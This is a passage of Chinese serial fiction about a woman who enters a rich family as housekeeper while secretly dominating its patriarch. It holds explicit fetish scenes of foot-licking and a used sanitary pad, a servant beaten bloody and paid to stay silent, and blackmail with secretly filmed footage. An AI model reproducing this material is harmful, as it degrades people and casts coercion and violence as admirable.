“狗东西!”柳玉瞄了一眼缩在脚下给她舔丝袜脚的夏含章幽幽地说。她的脚已经连续三天没洗过了,那讨厌的味道连她自己闻起来都得难受半天可这条老狗却偏偏喜欢它,此刻正舔得津津有味,几乎进入忘我的状态。但既然要有所求就得给他点好东西。听到柳玉喊他,夏含章立刻回过神来,磕着头答应了她。
“你上次不是求我住到你家去,让你好生伺候着吗?”
“是……主人……难道您同意了……”听到这话夏含章激动了起来,扒着柳玉的腿久久不放。
“哼!倒是可以给你个机会!”
“谢谢主人!谢谢主人!”夏含章一听有门立刻高兴地磕头不止。
“不急!”柳玉伸脚过去挡住了夏含章的额头阻止了他继续磕头。“去是可以,但得约法三章,否则什么都免谈!”
“主人您说,只要您肯去,一切都好说……”
“恩!”柳玉停顿了一下继续说,“第一,就算是去你家也你不可造次。当着其他人我可以给你面子,不用你喊我主人,你也可以继续摆你那夏家大老爷的谱,外事上我也可以听着你点。但是没人的时候必须以主奴之礼相处,该如何就是如何。你要明白自己的身份,不管在哪你都是我的奴才!”
“是,奴才明白,一切听主人的。”
“第二,我既不是去你家吃闲饭的,也不是你的二奶小妾。既然去咱就得去得名正言顺,我可不想让别人在背后指着我说闲话。我想好了,就以大管家的身份过去。外面的事情我可以不管,但是家里的大小事务必须由我一手负责。”
“这个没问题……”
“第三,既然是大管家,面上的东西我也只听你一个人的,其他所有人的话我都不听,包括你的家人。此外,去你家你就得负责我的生活,所有费用全部由你负责。你必须满足我起码不低于现在的生活水平,当然我想以你那么大的家产养活我这么个小女人应该是不成问题的吧!”
“是,主人!这也没问题!”
“恩!这三点你若答应,就回去好好准备迎接圣驾吧!”
“是!谢谢主人……谢谢主人……”夏含章没有犹豫立刻答应了柳玉的三点要求,开心地朝着柳玉频频磕头谢恩。此事谈成也算了了夏含章当前一大心愿。
从此以后他的这个主人便可只属于他一人,再也不会有其他奴隶与他争夺。
但他岂知,此事仅仅只是一个开头,一场看不见的血雨腥风即将掀起。
第21章
“这位是谢柳玉小姐,从今天起,她就是家里的管家,这个宅子里的大小事情就都由她来负责了,家里的事情就直接由她决定,不用再向我报告了。”柳玉永远都不会忘记那一天,当夏含章把她领回到自己家里向自己的儿子、儿媳妇以及一众下人介绍自己这个新来的管家的时候,夏明的父母亲眼神中喷涌而出的那几乎要将自己焚烧成灰烬的怒火。
“叫我小玉就好了!”
“玉管家好!”大宅院里的人都讲个尊卑有序,下人们见是夏含章亲自介绍也知柳玉来头不小,不敢轻易冒犯,没有称呼她作“小玉”,皆恭敬地鞠躬敬礼。
“你们好!”柳玉微笑着还了礼。她没有发现,站在夏含章身边的两个人此时脸色已经变得铁青。
“爸……她……”说话的是一个青年男子,夏含章的独子、夏明的父亲——夏永哲。“那从哪来的?什么管家?爸你是不是……”夏含章急得差点把“老糊涂”三个字吐了出来,幸而旁边的一个女人拉了他一把这才把那几个字硬生生吞了回去。
那个女人——夏永哲的妻子赵霞也赶忙接话:“家里的事情都她负责,那我……”
“以后你就专心帮忙生意上的事好了,这宅子里的你就别管了。”
“可是原本这都是……”
“怎么?我让人来替你给你时间处理生意你还有意见?”
“这……我不是……”
“就这么定了,以后柳玉管家就跟我们自家人一样了,看见她就像看见我一样,家里的事你们就乖乖听她的就是了。”夏含章的好色本性和他的那些特殊爱好家人中多少都有所耳闻,但因为以往都只是在外寻花问柳并没有对他人实际利益造成什么影响,且迫于他的身份地位大家也就只当做不知道。此时夏含章竟公开地把这个陌生的年轻女人带到家里,还公然宣布把家中大小事务都由柳玉一人负责,这给原本负责家里事务的夏明父母造成了极大的危险,这一前所未有的突发情况势必引发了他们对柳玉强烈的敌对心理。
“少爷,少奶奶,以后请多多关照!”柳玉礼貌地给夏永哲轻轻鞠了一躬。
“你……”,夏明父母气得说不出话来。看着那两张因仇视而扭曲变形的脸柳玉内心难免感到害怕——此时她已经没有了后路——为了这一步柳玉已变卖了自己所有财产。
当天晚上,当柳玉逛遍了整个夏宅正打算上楼回到自己房间的时候,正遇上刚从夏含章房间出来的夏明父母。当晚四个人坐在一桌吃饭的时候气氛有些尴尬,两人始终默不作声只是死死盯着柳玉,脸色极为难看。而夏含章一边要保持自己一家之主的威严,一边又要想办法讨主人的欢心根本无暇顾及他们,更没注意到空气中散发的浓浓火药味。吃完饭后两人便进了夏含章的房间。
柳玉早已预料刚才在夏含章房间恐怕已经经历了一场不小的战争,从他们刚才那急匆匆的样子恐怕是急着劝夏含章要把自己赶走。但从他们此时阴沉的脸色来看怕是并未得逞,还遭到了夏含章的一顿狠批评,想到这里柳玉心里暗暗发笑。
“少爷好!少奶奶好!”看到迎面走来的两人,柳玉还是给他们鞠了躬。
“哼!”夏永哲鼻孔冒气,扫了柳玉一眼狠狠地说,“臭婊子,少假惺惺的……”
“这……少爷这话怎么说的……”
“别以为我们不知道你的目的……”旁边的赵霞接了一句。
“这……”柳玉心里暗暗一惊。
“老头子现在是老糊涂,但别以为我们也一样。有我们在,别想从老头子那骗走一分钱。什么管家……别以为我们不知道,想让老头子纳你当小妾分财产?哼!劝你早点死了这条心,赶快滚蛋,要不然……”
“要不然如何?”柳玉心里暗舒了口气,两人只是以为自己是夏含章包的二奶来骗财产的,并不知道自己与夏含章的主奴身份,便也没什么好担心的。于是继续说道:“把我赶出去?”
“别以为我们不敢?”
“少爷,少奶奶,真要把我赶出去那也得又老爷说了算。我一个小女子什么都没有,只想要一碗饭吃和一个落脚的地方,又哪里敢冒犯您二位。”
“说得好听,你这种人我见得多了……别犯在我们手里,有你好看!”赵霞狠狠撂下一句,拉着夏永哲下了楼梯离开。
“大少爷!”看着从身边经过渐渐走远的两人,柳玉突然喊了一句,叫住了两人。
“今后若是有什么需要尽管吩咐,呵呵!”柳玉朝他们微微鞠躬,抬头之际只见她眉宇轻挑,朝夏永哲微微抛了一个媚眼。但见其其丹唇微张,言语自轻柔小巧的口中袅袅吐出,语气似娇似弱,似柔似媚。乍一眼瞧去,其面若桃花,青丝如云,眉黛如细柳,明眸似皓月,眼神若点点微波随风轻荡,含情脉脉,又如春日暖阳照射树荫,清风拂来透过柔光点点,几乎清纯地一尘不染,却又隐隐透着致命诱惑的娇媚。眼前这一副如梦似幻的美人图顿时让刚转过身来的夏永哲眼前一亮,只看得眼睛发直,顿觉心潮澎湃,一脸陶醉的样子与刚才凶神恶煞的夏永哲判若两人,几乎忘了眼前的这个就是自己刚才放在心底狠毒诅咒的女人。倒是赵霞眼尖瞧出了他的不对劲,伸手狠狠在他手臂上掐了一下,疼得夏永哲惨叫了一声,条件反射地猛一甩手,几乎拽着赵霞要把她整个人都甩到一边。
“还不快走?哼!骚婊子!”赵霞瞪了夏永哲亲一眼,拉着他快去离开,嘴里还小声咒骂个不停。
“哼哼!看你能装到什么时候?”看着走远夫妻俩,柳玉自言自语,脸上露出了诡异的笑容。刚才只是稍稍试探竟不出意外地让夏永哲着了自己的道。多年来的经历造就了柳玉对男人超强的辨识能力,几乎可以一眼看穿男人的本性。果不其然,装得一本正经言语狠毒的夏永哲其实内心里早就对自己的美色垂涎三尺,现在恐怕心里只想着找个机会把自己给生吞活剥了。想到这里原本对自己处境还有一丝担忧的柳玉内心顿时豁然开朗——能让自己走到今天并不是因为自己有多高明,实在是男人的弱点太过愚蠢,不堪一击……
几个月过去,对夏家内外情况柳玉已然了如指掌。原本以为担心的那些东西现在想来却是杞人忧天而已。夏含章乾纲独断、刻薄寡恩。夏永哲是个标准的纨绔子弟,从小没了母亲的照顾和父亲的管教使他养成了好吃懒做、自大无知的性格,名义上虽为夏氏企业总经理,但大权完全掌控在其父亲手中毫无半点自主权,因此心里对夏含章早有不满。赵霞原本也是有钱人的女儿,自小娇生惯养,为人尖刻、嚣张跋扈,与下永哲两人一唱一和对下人尤其刻薄,因此夏宅内外一众下人暗地里对这一家子也是颇多抱怨,咒骂连连。
自上任为管家以来,虽说目的并不在于此,但柳玉也是力求将事情做好,短短几个月便把夏宅里里外外安顿得井井有条。加上其在人面前尽量低调客气,对下人们也尤为照顾,因此很快就得到了几乎所有人的支持和拥戴。
这一切夏含章自不说什么,夏永哲平时忙于生意也无暇顾及,家里唯一的阻力便来自被柳玉夺了“大权”的赵霞。同是女人,赵霞对柳玉尤其仇视,总是处处与其对立,时常当着众人的面对柳玉恶语相加甚至动起手来,虽然多次受到夏含章训斥但仍是心有不甘。当然这一切柳玉总是默默承受,一笑了之,这反而更给柳玉树立了良好的形象。
这日两人又再次因为一件小事引得赵霞无理取闹,当着大家的面对柳玉咒骂不止。其言语之恶毒,终于有一个早已看不惯赵霞这飞扬跋扈的样子的下人出来说了几句维护柳玉的公道话。
“好啊!你们这些下贱的东西,居然敢帮这个贱人说话,反了你了。”原本就一肚子怨气的赵霞看到有人出来帮着柳玉顿觉怒不可遏,一股怒气自心头直冲大脑,烧得她两眼通红挥手重重一个巴掌甩在了那个下人脸上,其力道之大,打得那下人连连倒退了几步一个后仰摔在了地上顿觉眼冒金星半天也回不过神来。
“小王!”柳玉赶忙一个箭步冲了过去蹲下把那下人扶起,却见她两眼紧闭,右脸被打得红肿通红,鼻子里已经涌出了两道鲜血。
“小王你没事吧?”柳玉掐了掐她的人中总算是使她缓过气来,见她慢慢睁开双眼神情恢复这才放下心来。
“玉管家,我没事……”小王幽幽地说道。
“你个贱人,不要脸的东西,我打死你……”赵霞依旧不依不饶,冲过来抬脚就朝小王肚子踹去。因为多次受到夏含章训斥,她也不敢再朝柳玉动手便只能找下人出气。此时虽说是在骂小王但旁边的人一听便知其在指桑骂槐针对柳玉。
这一脚柳玉与小王毫无防备,躲闪不及被赵霞重重踹在了小腹处。“啊!”小王惨叫了一声,双手护住了小腹挣脱开了柳玉翻到了一边在地上疼得打滚,。
“臭婊子,让你嚣张……让你嚣张……”赵霞口中咒骂着朝小王冲了过去,抬脚对着在地上疼得翻滚的小王猛踹了起来,尖尖的鞋跟一下下扎在小王身上,很快那白色的衣服上就泛出了点点血晕,那惨状看得周围人毛骨悚然却又敢怒而不敢言,只能默默替小王捏了一把冷汗。
几分钟后,赵霞自己也感觉累得不行便停了下来弯着腰喘着粗气,脚下的小王却已几乎没了动静,刚才受到折磨的声声惨叫此时也已停息,只是缩在墙角瑟瑟发抖。呆缓过气来赵霞依旧没有消停。“死贱人,我打死你!”说着再次朝小王冲了过去。此时她却没注意到,自己面前突然竖起一道影子,如黑墙般挡在了自己与小王之间。两道目光直刺向自己,深邃而凌厉,犹如两把利剑发着冷冷寒光。突然,一道黑影以迅雷不及掩耳之势朝着自己面部扫来。赵霞完全没有意料到这个突然的变化,只听得“啪”的一声脆响,一切在那一刻静止了下来……
赵霞后退几步左手护着左脸,柳玉静静地站着,眼神坚毅,不怒自威。在她面前赵霞犹若泄了气的皮球,刚才那跋扈的样子顿时完全消散,如惊弓之鸟等着一双惊恐的眼睛看着柳玉半天说不出话来。
在场的所有人全都惊呆了——从来没人敢对赵霞动手。
“你闹够了没有?”柳玉冷冷地说道,每一个字都带着不容触犯的威严。
“你……你敢打我……”缓过神来的赵霞再次爆发,怒吼着朝柳玉冲了过去。“啪!”赵霞还没回过神来脸上就已再次受到一个如闪电般的巴掌,又一次打消了她的气势。
“够了!”柳玉犹如巨雷般的喊声在客厅空旷的空间内久久回荡,刹那间,她那原本细弱的身躯如高山般伟岸、庄严,没人敢在她的面前抬起头来,包括赵霞。
“国有国法,家有家规。就算你是大少奶奶,在这个家里也容不得你胡闹!”柳玉说话字字铿锵,沉重有力。
当天晚上,夏含章的房间里。
柳玉沉着冷静,赵霞哭哭啼啼,夏永哲一脸怒气,而夏含章夹在了家人与主人之间左右为难,一脸尴尬,完全没有了以往一家之主的威严。
“老爷!”柳玉开口说话打破了几人间的沉默。
“这件事谁是谁非一目了然。下人也是人,也有尊严,只要有我在便容不得别人无理取闹。今天的事如果你要怪我那我马上可以离开,再也不会踏进夏家一步。”
“你滚,马上滚……你这臭婊子不要脸……”赵霞指着柳玉破口大骂,完全不顾及自己的身份。
“好了闭嘴!”夏含章一声怒吼使她安静了下来。“行了,一件小事非得要闹成这样,别以为我什么都不知道,这个家里还由不得你乱来。以后给我注意着点,少给我丢人。”
“你……”夏含章转头看着柳玉,“就这么算了,为了一个下人,别说什么离开不离开的话了。那个……小王……现在怎么样了?”
“送到医院,医生说要留院一段时间。”
“恩!让她在医院好好休养,出来给她一笔钱让她回家吧!”
“难道小王那边就这么算了?”
“哎~这件事毕竟也是因她而起,也不能因此而失了我们夏家的……”夏含章叹了口气继续说,“就不要再追究了……再闹下去对大家都不好……多给点钱,叫她不要把事情声张出去……”柳玉没有做声,算是默认了这个解决方案。
“但是……爸……阿霞被打了就这么算了……我们……”一边一直没有搭话的夏永哲在赵霞眼神频频暗示下终于开口,但还没说完一句就被夏含章打断了:“阿霞平时就没少打人吗?这些帐你要跟谁算?我告诉你们,以后家里的事情少管,都给我好好管生意上的事去。都给我出去,滚……”
“这……是,爸!”夫妻俩对视了一下,无奈地起身离开了房间,临走之时转头狠狠瞪了一眼柳玉。
“那个……小玉,你留下来一下……”夏含章含住了已经走到门口的柳玉,给她使了个眼神。柳玉转身回来,关上了房门。
这场两人之间的战争,柳玉获得了胜利。她赢得的不仅是权力,更是人心。
“主人请息怒,今天的事请别生气……”柳玉关门的那一瞬间夏含章几乎同时跪在了地上朝着柳玉狠狠磕头,然后爬到了柳玉脚下一动不动蜷缩着,像一只瑟瑟发抖的乌龟。柳玉抬脚踩在了他的头上,一用力把头重重压在地上。好在房间铺着厚厚的地毯,夏含章并没有感到有什么不适。
“算了,我也不是那种小心眼的人,你也有你的难处。不过你那个儿媳妇,以后还是管着点好,迟早要给你惹下大麻烦。”
“是……是……奴才遵命,改天一定好好管教她,主人您打算怎么办呢?”
“怎么办是你的家事,还轮不上我来管。这种事你别问我,否则我不成了仗势欺人,狐假虎威的小人了?”
“这……怎么会呢?主人您别介意,都是以前管教不严不懂事……”
“哼!这种事也没啥好奇怪的,还不是冲着我来的……”柳玉松开了踩着夏含章的脚漫步走到了沙发边坐下,朝他使了个手势。夏含章立刻爬到了柳玉脚下从茶几上取了一根烟点好了送到了柳玉手上。
“给我捏捏脚!”
“是,主人!”
“你说像我这么一个人突然闯了进来对他们指手划脚,是人都会以为我是来抢家产的,可不就是对我虎视眈眈?我问你,如果我要你把家产给我,你会答应吗?”
“奴才……奴才听主人您的……”
“哈哈……”柳玉放声大笑,笑声中带着嘲笑,“你这下贱东西,说瞎话还真不脸红。”说着抬脚在夏含章头上轻轻踹了一下再搭回到她的肩膀上。
“真当我是傻子呢!你会放着你那宝贝儿子,把财产送给我这么一个外人?哼!算了,人之常情,我也不怪你。你现在能把我伺候好点,让我吃好穿好,每个月该花的钱准时给我孝敬着我就心满意足了。等哪天你要归西了你那宝贝儿子把我扫地出门我还不至于饿死。”
“主人您真会开玩笑,奴才怎么会……”
“好了,我累了,要回去睡觉了!”柳玉说着将两条腿齐齐抬起,两手伸进了自己裙子里,纤细的食指和中指沿着边缝插进了内裤里轻轻一弯将内裤裆部撑起,拇指轻轻拨动,只听得从里边传出了“丝丝”的响声,不少片刻手指往外一抽,动内裤里头抽出了一片已经萎缩干燥的暗红卫生巾,顺手扔在了夏含章身边的地上。
“这个赏你的!”说着起身朝房门走去,离开之际转身透过门缝看了一眼扑在地板上如牲畜般尽情享受着卫生巾的夏含章,柳玉“哼!”地一声冷笑,关上了房门。
两个月后,一个月黑风高的晚上。
某宾馆房间内,透过薄薄的窗帘从屋内射出阵阵的闪闪亮光。屋内没有灯光,夏永哲坐在沙发上目不转睛地盯着电视屏幕内闪现的一幕幕,脸色覆盖着一层森森冷汗,脸色铁青显得极为难看。
“怎么样?很精彩吧?”倚在一旁久久默不作声的柳玉看着一脸惊恐的夏永哲突然微笑地说。
“你……怎么有这个……”
“你敢偷偷得做我当然敢偷偷得拍了,如何?”
“你……想怎么样?”
“不想怎么样?”
“哼……到底要如何……”
“想跟你做笔交易!”
“交易?”
“不错,交易!”